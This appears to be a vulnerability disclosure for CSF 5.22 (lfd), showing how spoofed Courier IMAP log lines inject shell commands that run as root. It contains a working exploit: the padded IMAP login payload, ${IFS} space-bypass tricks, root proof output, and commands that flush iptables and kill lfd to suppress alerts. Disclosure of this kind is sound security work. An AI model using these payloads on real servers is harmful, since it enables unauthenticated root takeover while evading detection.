CSF 5.22 - remotely execute commands as root without authentication



DESCRIPTION


Confirmed as far back as 5.06, possibly prior, but not in 5.03.

The checkip() subroutine in lfd.pl verifies that an IP address is in the correct format by checking that the $ip variable matches the $ipv4reg regular expression. Though the $cidr variable is also checked to see if it matches a number from 1 to 32, it is never verified to actually be a number:

5045         if ($cidr) {
5046             unless ($cidr >= 1 && $cidr <= 32) {$ret = 0}
5047         }

This is a problem for servers running Courier IMAP, because Courier's log files can be trivially spoofed. As such, we can cause the $cidr variable to contain whatever data we want, to include commands to be executed as root.


Ensure that CSF is configured to block hosts that fail to log into the IMAP server too many times. This is set in csf.conf by default:

LF_IMAPD = "10"
LF_IMAPD_PERM = "1"

Connect to the IMAP server, and issue this command (this is all 1 line):

. login "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaLOGIN FAILED
, user=a, ip=[::ffff:1.2.3.4/32;id>/tmp/out;]


                        " a

There are 486 "a"s, which is the required number of bytes to cause Courier to log this invalid attempt in multiple lines in /var/log/maillog.

After the "a"s comes the string we need to use to have CSF match the regexp from regexp.pm:

LOGIN FAILED, user=a, ip=[::ffff:1.2.3.4/1;id>/tmp/out;]

Once we've issued that command a suffcient amount of times to be blocked by CSF, our command will end up being executed by the following lines from the ipblock() subroutine:

5312                 } else {
5313                     &syscommand(__LINE__,"/etc/csf/csf.pl -d $ip 'lfd: $message'");
5314                     &logfile("$message - *Blocked in csf* [$active]");
5315                 }

This will result in this:

/etc/csf/csf.pl -d 1.2.3.4/1;id>/tmp/out;

Then check the file at /tmp/out:

[user@host ~]$ cat /tmp/out
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

Note that although spaces cannot be used, we can use "${IFS}" instead if needed, like this:

;id${IFS}>${IFS}/tmp/out;

Additionally, we can stop csf/lfd after executing our commands, which will prevent the email alert notification of the failed logins from being sent:

iptables${IFS}-F;csf${IFS}-x;

or:

iptables${IFS}-F;pkill${IFS}lfd;



IMPACT


Anyone could remotely execute commands as root without authentication.

New csf v5.30